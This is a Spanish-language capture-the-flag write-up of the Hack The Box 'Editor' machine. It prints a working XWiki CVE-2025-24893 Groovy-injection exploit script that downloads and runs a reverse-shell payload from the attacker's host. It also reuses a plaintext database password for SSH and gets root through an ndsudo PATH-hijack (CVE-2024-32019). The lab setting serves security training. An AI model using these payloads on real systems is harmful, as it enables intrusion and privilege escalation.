Enumeration
Iniciamos con un escaneo utilizando Nmap para identificar puertos abiertos, servicios y sus respectivas versiones en la máquina objetivo. Es importante recordar añadir el dominio editor.htb al archivo local de hosts echo "10.129.64.75 editor.htb" | sudo tee -a /etc/hosts. De lo contrario, los escaneos detallados y la posterior navegación web no funcionarán correctamente.
```sh
# [-p-] Escanear todos los puertos (1-65535)
# [-sS] Stealth SYN scan para evitar completar conexiones TCP
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=1000] Enviar al menos 1000 paquetes por segundo
# [-oN] Guardar el output en formato normal de Nmap
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.64.75 -oN ports.nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
# [-sCV] Combinar la ejecución de scripts por defecto (-sC) y detección de versión (-sV)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor]
└─$ nmap -p22,80,8080 -sCV --min-rate=1000 10.129.64.75 -oN versions.nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http Jetty 10.0.20
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
|_http-open-proxy: Proxy might be redirecting requests
| http-title: XWiki - Main - Intro
|_Requested resource was [http://editor.htb:8080/xwiki/bin/view/Main/](http://editor.htb:8080/xwiki/bin/view/Main/)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-webdav-scan:
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
| WebDAV type: Unknown
|_ Server Type: Jetty(10.0.20)
Al visitar http://editor.htb, encontramos una landing page para un IDE, pero no presenta ninguna superficie de ataque interesante para nuestro pentesting.

Por otro lado, http://editor.htb:8080 nos dirige a la documentación principal de una plataforma XWiki [Versión 10.15.8].

Explotación
Investigando esta versión específica, descubrimos que XWiki es vulnerable a CVE-2025-24893. Esta es una vulnerabilidad crítica de Remote Code Execution causada por un sandboxing inadecuado de macros de Groovy renderizados de forma asíncrona. Permite a un atacante ejecutar comandos arbitrarios mediante una inyección en los endpoints de SolrSearch basados en RSS. Utilizaremos el PoC disponible en GitHub por Net.Doge & Infinit3i
# Descargamos el PoC a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits]
└─$ git clone https://github.com/Infinit3i/CVE-2025-24893
# Inspeccionamos el código del exploit
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits/CVE-2025-24893]
└─$ nano CVE-2025-24893-PoC.py
Nota de seguridad: Nunca ejecutes un exploit a ciegas. Siempre debes revisar el código fuente antes de correrlo. Al revisar este script, confirmamos que genera un payload ejecutable ELF mediante msfvenom y orquesta la inyección a través del parámetro text del servidor web.
...
...
...
def build_full_bash_payload(cmd: str) -> str:
return (
f"cmd=$(echo -n '{cmd}' | jq -Rr @uri); "
f'curl -i "http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch?media=rss'
'&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
'%7b%7bgroovy%7d%7dprintln(%22$cmd%22.execute().text)'
'%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" '
"| awk -F'}}}' '{ print $2 }' | awk -F'</title' '{ print $1 }'"
)
def send_encoded_command(cmd: str):
cleaned_cmd = cmd.replace('"', '\\"')
payload = (
"{{async async=false}}{{groovy}}"
f'println("{cleaned_cmd}".execute().text)'
"{{/groovy}}{{/async}}"
)
params = {
"media": "rss",
"text": payload
}
try:
url = f"http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch"
response = requests.get(url, params=params)
response.raise_for_status()
raw = response.text.split("}}}")[-1].split("</title")[0]
match = re.search(r"\[(.*?)\]", raw)
return match.group(1).strip() if match else "(no [brackets] found)"
except requests.RequestException as e:
return f"{RED}[!] Error: {e}{RESET}"
def generate_reverse_shell_payload():
print(f"{YELLOW}[>] Generating ELF payload using msfvenom...{RESET}")
try:
subprocess.run(
[
"msfvenom",
"-p", "linux/x64/shell_reverse_tcp",
f"LHOST={LOCAL_HOST}",
f"LPORT={BEACON_PORT}",
"-f", "elf",
"-o", "rev"
],
check=True
)
print(f"{GREEN}[+] Payload saved as ./rev{RESET}")
except subprocess.CalledProcessError:
print(f"{RED}[!] Failed to generate payload with msfvenom.{RESET}")
input(f"{YELLOW}[Press ENTER to return to menu]{RESET}")
return False
return True
def run_reverse_shell():
clear_screen()
if not generate_reverse_shell_payload():
return
input(f"{YELLOW}[Press ENTER to launch reverse shell on remote target]{RESET}")
cmds = [
f"wget -O /tmp/rev http://{LOCAL_HOST}:{SERVER_PORT}/rev",
"chmod +x /tmp/rev",
"/tmp/rev"
]
for cmd in cmds:
print(f"{YELLOW}[>] Sending: {cmd}{RESET}")
result = send_encoded_command(cmd)
time.sleep(5)
print(f"{GREEN}[+] Response: {result}{RESET}")
input(f"{YELLOW}[Press ENTER to return to main menu]{RESET}")
...
...
...
Procedemos a ejecutar el script. En el menú principal, utilizamos la opción #3 para configurar los parámetros (Target host y Local host). Luego, seleccionamos la opción #2 para establecer nuestra reverse shell.
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits/CVE-2025-24893]
└─$ python3 CVE-2025-24893-PoC.py
===============================
XWiki CVE-2025-24893
Created by Net.Doge & Infinit3i
===============================
Target Host : editor.htb:8080
Local Host : 10.10.14.192
Server Port : 8080
Beacon Port : 31337
===============================
1) Run command
2) Reverse shell
3) Change settings
4) Quit
[>] Generating ELF payload using msfvenom...
[+] Payload saved as ./rev
# Creamos un servidor HTTP en Python en otra pestaña de la terminal para servir el payload
[!] Make sure you\'re hosting the payload:
python3 -m http.server 8080
# Listen for the reverse shell with netcat.
[!] Make sure you\'re listening for shell:
nc -lvnp 31337
[Press ENTER to launch reverse shell on remote target]
[>] Sending: wget -O /tmp/rev http://10.10.14.192:8080/rev
[+] Response:
[>] Sending: chmod +x /tmp/rev
[+] Response:
[>] Sending: /tmp/rev
[+] Response:
[Press ENTER to return to main menu]
Revisamos nuestra pestaña con Netcat y confirmamos que hemos recibido la conexión.
# [-l] Modo escucha
# [-v] Output detallado (Verbose)
# [-n] No resolver DNS
# [-p] Puerto a escuchar
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/exploits/CVE-2025-24893]
└─$ nc -lvnp 31337
connect to [10.10.14.192] from (UNKNOWN) [10.129.64.75] 43778
id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
python3 --version
Python 3.10.12
# Convertimos la reverse shell básica en una shell interactiva completa usando Python (PTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
xwiki@editor:/usr/lib/xwiki-jetty$
Movimiento Lateral
Dado que las capacidades de ejecución del usuario xwiki son limitadas, procedemos a buscar archivos de configuración que puedan contener credenciales expuestas.
# Mostrar todos los usuarios que tengan una shell Bash interactiva configurada
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
XWiki gestiona varias configuraciones ubicadas típicamente en el directorio WEB-INF. Entre las más destacadas se encuentran:
xwiki.properties: El archivo más reciente para opciones de configuración de XWiki.xwiki.cfg: Archivo de configuración histórico.hibernate.cfg.xml: Maneja la configuración de Hibernate para la conectividad con BDs.
Al examinar los archivos en /etc/xwiki, encontramos credenciales almacenadas en plain text dentro del archivo de Hibernate.
xwiki@editor:/usr/lib/xwiki-jetty$ cd /etc/xwiki
xwiki@editor:/etc/xwiki$ ls -l
...
...
-rw-r--r-- 1 root root 16171 Jun 16 10:48 hibernate.cfg.xml
-rw-r--r-- 1 root root 25653 Jul 29 11:48 xwiki.cfg
-rw-r--r-- 1 root root 78535 Jul 29 11:48 xwiki.properties
# Encontramos la configuración de conexión MySQL con credenciales expuestas
xwiki@editor:/etc/xwiki$ hibernate.cfg.xml
...
...
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&...</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
...
...
Aunque logramos iniciar sesión en MySQL con estas credenciales, no había información valiosa. Sin embargo, probamos reutilizar esta misma contraseña para iniciar sesión vía SSH con el usuario oliver (el cual habíamos descubierto previamente). La autenticación fue exitosa.
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor]
└─$ ssh oliver@editor.htb
oliver@editor.htb's password: theEd1t0rTeam99
oliver@editor:~$ ls
user.txt
oliver@editor:~$ cat user.txt
87*****************************07
Escalada de Privilegios
Para identificar vectores de escalada a root, iniciamos transfiriendo y ejecutando el script LinPEAS en la máquina objetivo.
# Descargamos el script LinPEAS a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh
2025-08-14 21:49:12 (503 KB/s) - ‘linpeas.sh’ saved [956174/956174]
# Levantamos un servidor web local para servir el archivo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
# Transferimos el archivo al objetivo
oliver@editor:~$ wget -O /tmp/linpeas.sh http://10.10.14.192:8080/linpeas.sh
2025-08-15 02:50:45 (889 KB/s) - ‘/tmp/linpeas.sh’ saved [956174/956174]
oliver@editor:~$ cd /tmp
oliver@editor:/tmp$ chmod +x linpeas.sh
oliver@editor:/tmp$ ./linpeas.sh
╔════════════════════════════════════╗
══════════╣ Files with Interesting Permissions ╠═══════════════
╚════════════════════════════════════╝
-rwsr-x--- 1 root netdata 196K Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (Unknown SUID binary!)
LinPEAS identificó un binario propietario de root con el SUID bit activado. Esta herramienta está asociada con la vulnerabilidad de escalada CVE-2024-32019.
ndsudo está diseñado para ejecutar un conjunto restringido de comandos externos, pero comete el error crítico de depender de la variable de entorno PATH para encontrar la ruta de ejecución. Esto permite a un atacante inyectar un directorio controlable en el PATH para forzar al binario SUID a ejecutar un archivo malicioso con el mismo nombre que el comando legítimo.
Utilizaremos el PoC por AzureADTrent para explotarlo.
# Comprobamos el comportamiento vulnerable
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
nvme : not available in PATH.
# Descargamos el PoC a nuestra máquina local
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ git clone https://github.com/AzureADTrent/CVE-2024-32019-POC
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ ls
CVE-2024-32019-POC linpeas.sh
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts]
└─$ cd CVE-2024-32019-POC
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ ls
poc.c README.md
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ nano poc.c
Revisamos el código C que estamos a punto de compilar. Su única función es restablecer los identificadores de usuario y grupo a 0 (root) y desplegar una sesión interactiva de bash.
#include <unistd.h>
int main() {
setuid(0); setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
Procedemos con la compilación y explotación:
# Compilamos el código dándole el nombre exacto del comando esperado ("nvme")
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ gcc poc.c -o nvme
# En la máquina víctima, agregamos el directorio /tmp al inicio del PATH
oliver@editor:/tmp$ export PATH=/tmp:$PATH
oliver@editor:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
# Enviamos el binario malicioso a la víctima mediante SCP (Secure Copy Protocol)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/editor/posts/CVE-2024-32019-POC]
└─$ scp nvme oliver@editor.htb:/tmp/
password: theEd1t0rTeam99
# Otorgamos permisos de ejecución
oliver@editor:/tmp$ chmod +x nvme
# Ejecutamos ndsudo; ahora intentará buscar "nvme", encontrará nuestro binario en /tmp y nos entregará root.
oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
# ¡Obtenemos acceso como root!
root@editor:/tmp# cd ~
root@editor:/root# ls
root.txt scripts snap
root@editor:/root# cat root.txt
42*****************************9b